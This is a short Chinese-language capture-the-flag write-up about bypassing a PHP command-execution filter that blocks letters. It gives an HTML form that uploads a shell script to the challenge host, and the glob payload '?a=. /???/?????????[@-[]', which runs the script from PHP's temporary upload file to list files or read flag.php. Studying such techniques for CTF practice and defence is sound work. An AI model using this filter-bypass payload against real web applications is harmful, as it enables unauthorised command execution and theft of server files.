在linux shell中,可以用.当前的shell执行一个文件中的命令,比如.file就是执行file文件中的命令。

    当我们post上传一个文件后,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机生成的大小写字母。想当然的我们会用/???/?????????去匹配这个文件,然而符合这样的文件不唯一。

    但是上传php临时文件的六个字母是包含大写字母的,所以在参数中要进行过滤,shell的glob模块支持利用[x-x]表示范围,故可以用[A-Z]或者[@-[]来表示大写字母(观察ASCII码表可得知),由于字母被过滤,所以选择后者。

    所以在更全的过滤中可以post上传一个包含命令的文件,然后通过.来执行文件中的命令即可读到flag。

    第一部分:post上传文件,
    可以用本地html向指定网址来上传文件<!DOCTYPE html>
    <html><br /><body><br /><form action="http://f0ea2244-d2b8-43be-8ec6-f61da1585183.chall.ctf.show:8080/" method="POST" enctype="multipart/form-data"><br /> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /><br /> <input type="file" name="file" /><br /> <input type="submit" value="submit" /><br /></form><br /></body><br /></html>
    或者直接用postman来上传文件
    上传的php文件的内容为
    #!/bin/sh
    ls
    或者
    #!/bin/sh
    cat flag.php

    第二部分:传参命令执行
    对/tmp/phpxxxxxx[@-[]进行通配
    payload:?a=. /???/?????????[@-[]